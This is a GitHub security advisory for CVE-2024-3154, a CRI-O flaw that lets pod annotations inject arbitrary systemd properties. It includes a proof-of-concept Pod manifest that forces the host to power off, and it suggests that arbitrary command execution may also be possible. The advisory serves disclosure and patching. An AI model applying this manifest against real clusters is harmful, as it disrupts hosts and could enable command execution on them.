Skip to content

CRI-O vulnerable to an arbitrary systemd property injection

High severity GitHub Reviewed Published Apr 29, 2024 in cri-o/cri-o • Updated May 1, 2024

Package

gomod github.com/cri-o/cri-o (Go)

Affected versions

>= 1.29.0, <= 1.29.3
>= 1.28.0, <= 1.28.5
<= 1.27.5

Patched versions

1.29.4
1.28.6
1.27.6

Description

Impact

On CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation:

---
apiVersion: v1
kind: Pod
metadata:
  name: poc-arbitrary-systemd-property-injection
  annotations:
    # I believe that ExecStart with an arbitrary command works here too,
    # but I haven't figured out how to marshalize the ExecStart struct to gvariant string.
    org.systemd.property.SuccessAction: "'poweroff-force'"
spec:
  containers:
    - name: hello
      image: [quay.io/podman/hello](http://quay.io/podman/hello)

This means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.

Tested with CRI-O v1.24 on minikube.
I didn't test the latest v1.29 because it is incompatible with minikube: kubernetes/minikube#18367

Thanks to Cédric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations:
opencontainers/runc#3923 (comment)

CRI-O has to filter out annotations that have the prefix "org.systemd.property."

See also:

Workarounds

Unfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations

References

References

@haircommander haircommander published to cri-o/cri-o Apr 29, 2024
Published to the GitHub Advisory Database Apr 30, 2024
Reviewed Apr 30, 2024
Last updated May 1, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

EPSS score

0.044%
(14th percentile)

Weaknesses

CVE ID

CVE-2024-3154

GHSA ID

GHSA-2cgq-h8xw-2v5j

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.